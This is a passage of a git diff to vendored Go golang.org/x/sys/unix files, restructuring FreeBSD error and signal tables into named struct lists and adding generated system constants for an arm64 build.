-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TAB0 = 0x0
- TAB3 = 0x4
- TABDLY = 0x4
-@@ -1578,138 +1674,146 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "operation canceled",
-- 86: "illegal byte sequence",
-- 87: "attribute not found",
-- 88: "programming error",
-- 89: "bad message",
-- 90: "multihop attempted",
-- 91: "link has been severed",
-- 92: "protocol error",
-- 93: "capabilities insufficient",
-- 94: "not permitted in capability mode",
-- 95: "state not recoverable",
-- 96: "previous owner died",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "ECANCELED", "operation canceled"},
-+ {86, "EILSEQ", "illegal byte sequence"},
-+ {87, "ENOATTR", "attribute not found"},
-+ {88, "EDOOFUS", "programming error"},
-+ {89, "EBADMSG", "bad message"},
-+ {90, "EMULTIHOP", "multihop attempted"},
-+ {91, "ENOLINK", "link has been severed"},
-+ {92, "EPROTO", "protocol error"},
-+ {93, "ENOTCAPABLE", "capabilities insufficient"},
-+ {94, "ECAPMODE", "not permitted in capability mode"},
-+ {95, "ENOTRECOVERABLE", "state not recoverable"},
-+ {96, "EOWNERDEAD", "previous owner died"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "unknown signal",
-- 33: "unknown signal",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "unknown signal"},
-+ {33, "SIGLIBRT", "unknown signal"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_freebsd_arm64.go
-similarity index 80%
-copy from vendor/golang.org/x/sys/unix/zerrors_freebsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/zerrors_freebsd_arm64.go
-index ac094f9c..5e49769d 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_freebsd_arm64.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -m64
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build amd64,freebsd
-+// +build arm64,freebsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -351,8 +351,26 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0x18
- CTL_NET = 0x4
-+ DIOCGATTR = 0xc148648e
-+ DIOCGDELETE = 0x80106488
-+ DIOCGFLUSH = 0x20006487
-+ DIOCGFRONTSTUFF = 0x40086486
-+ DIOCGFWHEADS = 0x40046483
-+ DIOCGFWSECTORS = 0x40046482
-+ DIOCGIDENT = 0x41006489
-+ DIOCGMEDIASIZE = 0x40086481
-+ DIOCGPHYSPATH = 0x4400648d
-+ DIOCGPROVIDERNAME = 0x4400648a
-+ DIOCGSECTORSIZE = 0x40046480
-+ DIOCGSTRIPEOFFSET = 0x4008648c
-+ DIOCGSTRIPESIZE = 0x4008648b
-+ DIOCSKERNELDUMP = 0x80506490
-+ DIOCSKERNELDUMP_FREEBSD11 = 0x80046485
-+ DIOCZONECMD = 0xc080648f
- DLT_A429 = 0xb8
- DLT_A653_ICM = 0xb9
- DLT_AIRONET_HEADER = 0x78
-@@ -377,11 +395,14 @@ const (
- DLT_CHAOS = 0x5
- DLT_CHDLC = 0x68
- DLT_CISCO_IOS = 0x76
-+ DLT_CLASS_NETBSD_RAWAF = 0x2240000
- DLT_C_HDLC = 0x68
- DLT_C_HDLC_WITH_DIR = 0xcd
- DLT_DBUS = 0xe7
- DLT_DECT = 0xdd
-+ DLT_DISPLAYPORT_AUX = 0x113
- DLT_DOCSIS = 0x8f
-+ DLT_DOCSIS31_XRA31 = 0x111
- DLT_DVB_CI = 0xeb
- DLT_ECONET = 0x73
- DLT_EN10MB = 0x1
-@@ -391,6 +412,7 @@ const (
- DLT_ERF = 0xc5
- DLT_ERF_ETH = 0xaf
- DLT_ERF_POS = 0xb0
-+ DLT_ETHERNET_MPACKET = 0x112
- DLT_FC_2 = 0xe0
- DLT_FC_2_WITH_FRAME_DELIMS = 0xe1
- DLT_FDDI = 0xa
-@@ -404,7 +426,6 @@ const (
- DLT_GPRS_LLC = 0xa9
- DLT_GSMTAP_ABIS = 0xda
- DLT_GSMTAP_UM = 0xd9
-- DLT_HHDLC = 0x79
- DLT_IBM_SN = 0x92
- DLT_IBM_SP = 0x91
- DLT_IEEE802 = 0x6
-@@ -427,6 +448,7 @@ const (
- DLT_IPV4 = 0xe4
- DLT_IPV6 = 0xe5
- DLT_IP_OVER_FC = 0x7a
-+ DLT_ISO_14443 = 0x108
- DLT_JUNIPER_ATM1 = 0x89
- DLT_JUNIPER_ATM2 = 0x87
- DLT_JUNIPER_ATM_CEMIC = 0xee
-@@ -459,8 +481,9 @@ const (
- DLT_LINUX_PPP_WITHDIRECTION = 0xa6
- DLT_LINUX_SLL = 0x71
- DLT_LOOP = 0x6c
-+ DLT_LORATAP = 0x10e
- DLT_LTALK = 0x72
-- DLT_MATCHING_MAX = 0x104
-+ DLT_MATCHING_MAX = 0x113
- DLT_MATCHING_MIN = 0x68
- DLT_MFR = 0xb6
- DLT_MOST = 0xd3
-@@ -476,14 +499,16 @@ const (
- DLT_NFC_LLCP = 0xf5
- DLT_NFLOG = 0xef
- DLT_NG40 = 0xf4
-+ DLT_NORDIC_BLE = 0x110
- DLT_NULL = 0x0
-+ DLT_OPENFLOW = 0x10b
- DLT_PCI_EXP = 0x7d
- DLT_PFLOG = 0x75
- DLT_PFSYNC = 0x79
- DLT_PKTAP = 0x102
- DLT_PPI = 0xc0
- DLT_PPP = 0x9
-- DLT_PPP_BSDOS = 0x10
-+ DLT_PPP_BSDOS = 0xe
- DLT_PPP_ETHER = 0x33
- DLT_PPP_PPPD = 0xa6
- DLT_PPP_SERIAL = 0x32
-@@ -494,19 +519,25 @@ const (
- DLT_PRONET = 0x4
- DLT_RAIF1 = 0xc6
- DLT_RAW = 0xc
-+ DLT_RDS = 0x109
-+ DLT_REDBACK_SMARTEDGE = 0x20
- DLT_RIO = 0x7c
- DLT_RTAC_SERIAL = 0xfa
- DLT_SCCP = 0x8e
- DLT_SCTP = 0xf8
-+ DLT_SDLC = 0x10c
- DLT_SITA = 0xc4
- DLT_SLIP = 0x8
-- DLT_SLIP_BSDOS = 0xf
-+ DLT_SLIP_BSDOS = 0xd
- DLT_STANAG_5066_D_PDU = 0xed
- DLT_SUNATM = 0x7b
- DLT_SYMANTEC_FIREWALL = 0x63
-+ DLT_TI_LLN_SNIFFER = 0x10d
- DLT_TZSP = 0x80
- DLT_USB = 0xba
- DLT_USBPCAP = 0xf9
-+ DLT_USB_DARWIN = 0x10a
-+ DLT_USB_FREEBSD = 0xba
- DLT_USB_LINUX = 0xbd
- DLT_USB_LINUX_MMAPPED = 0xdc
- DLT_USER0 = 0x93
-@@ -525,10 +556,14 @@ const (
- DLT_USER7 = 0x9a
- DLT_USER8 = 0x9b
- DLT_USER9 = 0x9c
-+ DLT_VSOCK = 0x10f
-+ DLT_WATTSTOPPER_DLM = 0x107
- DLT_WIHART = 0xdf
- DLT_WIRESHARK_UPPER_PDU = 0xfc
- DLT_X2E_SERIAL = 0xd5
- DLT_X2E_XORAYA = 0xd6
-+ DLT_ZWAVE_R1_R2 = 0x105
-+ DLT_ZWAVE_R3 = 0x106
- DT_BLK = 0x6
- DT_CHR = 0x2
- DT_DIR = 0x4
-@@ -546,6 +581,7 @@ const (
- ECHONL = 0x10
- ECHOPRT = 0x20
- EVFILT_AIO = -0x3
-+ EVFILT_EMPTY = -0xd
- EVFILT_FS = -0x9
- EVFILT_LIO = -0xa
- EVFILT_PROC = -0x5
-@@ -553,11 +589,12 @@ const (
- EVFILT_READ = -0x1
- EVFILT_SENDFILE = -0xc
- EVFILT_SIGNAL = -0x6
-- EVFILT_SYSCOUNT = 0xc
-+ EVFILT_SYSCOUNT = 0xd
- EVFILT_TIMER = -0x7
- EVFILT_USER = -0xb
- EVFILT_VNODE = -0x4
- EVFILT_WRITE = -0x2
-+ EVNAMEMAP_NAME_SIZE = 0x40
- EV_ADD = 0x1
- EV_CLEAR = 0x20
- EV_DELETE = 0x2
-@@ -574,6 +611,7 @@ const (
- EV_RECEIPT = 0x40
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
-+ EXTATTR_MAXNAMELEN = 0xff
- EXTATTR_NAMESPACE_EMPTY = 0x0
- EXTATTR_NAMESPACE_SYSTEM = 0x2
- EXTATTR_NAMESPACE_USER = 0x1
-@@ -608,12 +646,14 @@ const (
- F_UNLCKSYS = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
- IEXTEN = 0x400
- IFAN_ARRIVAL = 0x0
- IFAN_DEPARTURE = 0x1
-+ IFCAP_WOL_MAGIC = 0x2000
- IFF_ALLMULTI = 0x200
- IFF_ALTPHYS = 0x4000
- IFF_BROADCAST = 0x2
-@@ -630,6 +670,7 @@ const (
- IFF_MONITOR = 0x40000
- IFF_MULTICAST = 0x8000
- IFF_NOARP = 0x80
-+ IFF_NOGROUP = 0x800000
- IFF_OACTIVE = 0x400
- IFF_POINTOPOINT = 0x10
- IFF_PPROMISC = 0x20000
-@@ -804,6 +845,7 @@ const (
- IPV6_DSTOPTS = 0x32
- IPV6_FLOWID = 0x43
- IPV6_FLOWINFO_MASK = 0xffffff0f
-+ IPV6_FLOWLABEL_LEN = 0x14
- IPV6_FLOWLABEL_MASK = 0xffff0f00
- IPV6_FLOWTYPE = 0x44
- IPV6_FRAGTTL = 0x78
-@@ -824,13 +866,13 @@ const (
- IPV6_MAX_GROUP_SRC_FILTER = 0x200
- IPV6_MAX_MEMBERSHIPS = 0xfff
- IPV6_MAX_SOCK_SRC_FILTER = 0x80
-- IPV6_MIN_MEMBERSHIPS = 0x1f
- IPV6_MMTU = 0x500
- IPV6_MSFILTER = 0x4a
- IPV6_MULTICAST_HOPS = 0xa
- IPV6_MULTICAST_IF = 0x9
- IPV6_MULTICAST_LOOP = 0xb
- IPV6_NEXTHOP = 0x30
-+ IPV6_ORIGDSTADDR = 0x48
- IPV6_PATHMTU = 0x2c
- IPV6_PKTINFO = 0x2e
- IPV6_PORTRANGE = 0xe
-@@ -842,6 +884,7 @@ const (
- IPV6_RECVFLOWID = 0x46
- IPV6_RECVHOPLIMIT = 0x25
- IPV6_RECVHOPOPTS = 0x27
-+ IPV6_RECVORIGDSTADDR = 0x48
- IPV6_RECVPATHMTU = 0x2b
- IPV6_RECVPKTINFO = 0x24
- IPV6_RECVRSSBUCKETID = 0x47
-@@ -902,10 +945,8 @@ const (
- IP_MAX_MEMBERSHIPS = 0xfff
- IP_MAX_SOCK_MUTE_FILTER = 0x80
- IP_MAX_SOCK_SRC_FILTER = 0x80
-- IP_MAX_SOURCE_FILTER = 0x400
- IP_MF = 0x2000
- IP_MINTTL = 0x42
-- IP_MIN_MEMBERSHIPS = 0x1f
- IP_MSFILTER = 0x4a
- IP_MSS = 0x240
- IP_MULTICAST_IF = 0x9
-@@ -915,6 +956,7 @@ const (
- IP_OFFMASK = 0x1fff
- IP_ONESBCAST = 0x17
- IP_OPTIONS = 0x1
-+ IP_ORIGDSTADDR = 0x1b
- IP_PORTRANGE = 0x13
- IP_PORTRANGE_DEFAULT = 0x0
- IP_PORTRANGE_HIGH = 0x1
-@@ -923,6 +965,7 @@ const (
- IP_RECVFLOWID = 0x5d
- IP_RECVIF = 0x14
- IP_RECVOPTS = 0x5
-+ IP_RECVORIGDSTADDR = 0x1b
- IP_RECVRETOPTS = 0x6
- IP_RECVRSSBUCKETID = 0x5e
- IP_RECVTOS = 0x44
-@@ -944,6 +987,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -969,6 +1016,7 @@ const (
- MAP_EXCL = 0x4000
- MAP_FILE = 0x0
- MAP_FIXED = 0x10
-+ MAP_GUARD = 0x2000
- MAP_HASSEMAPHORE = 0x200
- MAP_NOCORE = 0x20000
- MAP_NOSYNC = 0x800
-@@ -980,8 +1028,62 @@ const (
- MAP_RESERVED0100 = 0x100
- MAP_SHARED = 0x1
- MAP_STACK = 0x400
-+ MCAST_BLOCK_SOURCE = 0x54
-+ MCAST_EXCLUDE = 0x2
-+ MCAST_INCLUDE = 0x1
-+ MCAST_JOIN_GROUP = 0x50
-+ MCAST_JOIN_SOURCE_GROUP = 0x52
-+ MCAST_LEAVE_GROUP = 0x51
-+ MCAST_LEAVE_SOURCE_GROUP = 0x53
-+ MCAST_UNBLOCK_SOURCE = 0x55
-+ MCAST_UNDEFINED = 0x0
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ACLS = 0x8000000
-+ MNT_ASYNC = 0x40
-+ MNT_AUTOMOUNTED = 0x200000000
-+ MNT_BYFSID = 0x8000000
-+ MNT_CMDFLAGS = 0xd0f0000
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_EXKERB = 0x800
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x20000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_GJOURNAL = 0x2000000
-+ MNT_IGNORE = 0x800000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_MULTILABEL = 0x4000000
-+ MNT_NFS4ACLS = 0x10
-+ MNT_NOATIME = 0x10000000
-+ MNT_NOCLUSTERR = 0x40000000
-+ MNT_NOCLUSTERW = 0x80000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NONBUSY = 0x4000000
-+ MNT_NOSUID = 0x8
-+ MNT_NOSYMFOLLOW = 0x400000
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SNAPSHOT = 0x1000000
-+ MNT_SOFTDEP = 0x200000
-+ MNT_SUIDDIR = 0x100000
-+ MNT_SUJ = 0x100000000
-+ MNT_SUSPEND = 0x4
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UNTRUSTED = 0x800000000
-+ MNT_UPDATE = 0x10000
-+ MNT_UPDATEMASK = 0xad8d0807e
-+ MNT_USER = 0x8000
-+ MNT_VERIFIED = 0x400000000
-+ MNT_VISFLAGMASK = 0xffef0ffff
-+ MNT_WAIT = 0x1
- MSG_CMSG_CLOEXEC = 0x40000
- MSG_COMPAT = 0x8000
- MSG_CTRUNC = 0x20
-@@ -1006,8 +1108,10 @@ const (
- NET_RT_IFLIST = 0x3
- NET_RT_IFLISTL = 0x5
- NET_RT_IFMALIST = 0x4
-+ NFDBITS = 0x40
- NOFLSH = 0x80000000
- NOKERNINFO = 0x2000000
-+ NOTE_ABSTIME = 0x10
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
- NOTE_CLOSE = 0x100
-@@ -1162,7 +1266,6 @@ const (
- RTV_WEIGHT = 0x100
- RT_ALL_FIBS = -0x1
- RT_BLACKHOLE = 0x40
-- RT_CACHING_CONTEXT = 0x1
- RT_DEFAULT_FIB = 0x0
- RT_HAS_GW = 0x80
- RT_HAS_HEADER = 0x10
-@@ -1172,15 +1275,17 @@ const (
- RT_LLE_CACHE = 0x100
- RT_MAY_LOOP = 0x8
- RT_MAY_LOOP_BIT = 0x3
-- RT_NORTREF = 0x2
- RT_REJECT = 0x20
- RUSAGE_CHILDREN = -0x1
- RUSAGE_SELF = 0x0
- RUSAGE_THREAD = 0x1
- SCM_BINTIME = 0x4
- SCM_CREDS = 0x3
-+ SCM_MONOTONIC = 0x6
-+ SCM_REALTIME = 0x5
- SCM_RIGHTS = 0x1
- SCM_TIMESTAMP = 0x2
-+ SCM_TIME_INFO = 0x7
- SHUT_RD = 0x0
- SHUT_RDWR = 0x2
- SHUT_WR = 0x1
-@@ -1196,6 +1301,7 @@ const (
- SIOCGETSGCNT = 0xc0207210
- SIOCGETVIFCNT = 0xc028720f
- SIOCGHIWAT = 0x40047301
-+ SIOCGHWADDR = 0xc020693e
- SIOCGI2C = 0xc020693d
- SIOCGIFADDR = 0xc0206921
- SIOCGIFBRDADDR = 0xc0206923
-@@ -1217,8 +1323,11 @@ const (
- SIOCGIFPDSTADDR = 0xc0206948
- SIOCGIFPHYS = 0xc0206935
- SIOCGIFPSRCADDR = 0xc0206947
-+ SIOCGIFRSSHASH = 0xc0186997
-+ SIOCGIFRSSKEY = 0xc0946996
- SIOCGIFSTATUS = 0xc331693b
- SIOCGIFXMEDIA = 0xc030698b
-+ SIOCGLANPCP = 0xc0206998
- SIOCGLOWAT = 0x40047303
- SIOCGPGRP = 0x40047309
- SIOCGPRIVATE_0 = 0xc0206950
-@@ -1249,6 +1358,7 @@ const (
- SIOCSIFPHYS = 0x80206936
- SIOCSIFRVNET = 0xc020695b
- SIOCSIFVNET = 0xc020695a
-+ SIOCSLANPCP = 0x80206999
- SIOCSLOWAT = 0x80047302
- SIOCSPGRP = 0x80047308
- SIOCSTUNFIB = 0x8020695f
-@@ -1267,6 +1377,7 @@ const (
- SO_BINTIME = 0x2000
- SO_BROADCAST = 0x20
- SO_DEBUG = 0x1
-+ SO_DOMAIN = 0x1019
- SO_DONTROUTE = 0x10
- SO_ERROR = 0x1007
- SO_KEEPALIVE = 0x8
-@@ -1275,6 +1386,7 @@ const (
- SO_LISTENINCQLEN = 0x1013
- SO_LISTENQLEN = 0x1012
- SO_LISTENQLIMIT = 0x1011
-+ SO_MAX_PACING_RATE = 0x1018
- SO_NOSIGPIPE = 0x800
- SO_NO_DDP = 0x8000
- SO_NO_OFFLOAD = 0x4000
-@@ -1287,15 +1399,52 @@ const (
- SO_RCVTIMEO = 0x1006
- SO_REUSEADDR = 0x4
- SO_REUSEPORT = 0x200
-+ SO_REUSEPORT_LB = 0x10000
- SO_SETFIB = 0x1014
- SO_SNDBUF = 0x1001
- SO_SNDLOWAT = 0x1003
- SO_SNDTIMEO = 0x1005
- SO_TIMESTAMP = 0x400
-+ SO_TS_BINTIME = 0x1
-+ SO_TS_CLOCK = 0x1017
-+ SO_TS_CLOCK_MAX = 0x3
-+ SO_TS_DEFAULT = 0x0
-+ SO_TS_MONOTONIC = 0x3
-+ SO_TS_REALTIME = 0x2
-+ SO_TS_REALTIME_MICRO = 0x0
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
- SO_USER_COOKIE = 0x1015
- SO_VENDOR = 0x80000000
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IFWHT = 0xe000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TAB0 = 0x0
- TAB3 = 0x4
- TABDLY = 0x4
-@@ -1306,10 +1455,45 @@ const (
- TCOFLUSH = 0x2
- TCOOFF = 0x1
- TCOON = 0x2
-+ TCP_BBR_ACK_COMP_ALG = 0x448
-+ TCP_BBR_DRAIN_INC_EXTRA = 0x43c
-+ TCP_BBR_DRAIN_PG = 0x42e
-+ TCP_BBR_EXTRA_GAIN = 0x449
-+ TCP_BBR_IWINTSO = 0x42b
-+ TCP_BBR_LOWGAIN_FD = 0x436
-+ TCP_BBR_LOWGAIN_HALF = 0x435
-+ TCP_BBR_LOWGAIN_THRESH = 0x434
-+ TCP_BBR_MAX_RTO = 0x439
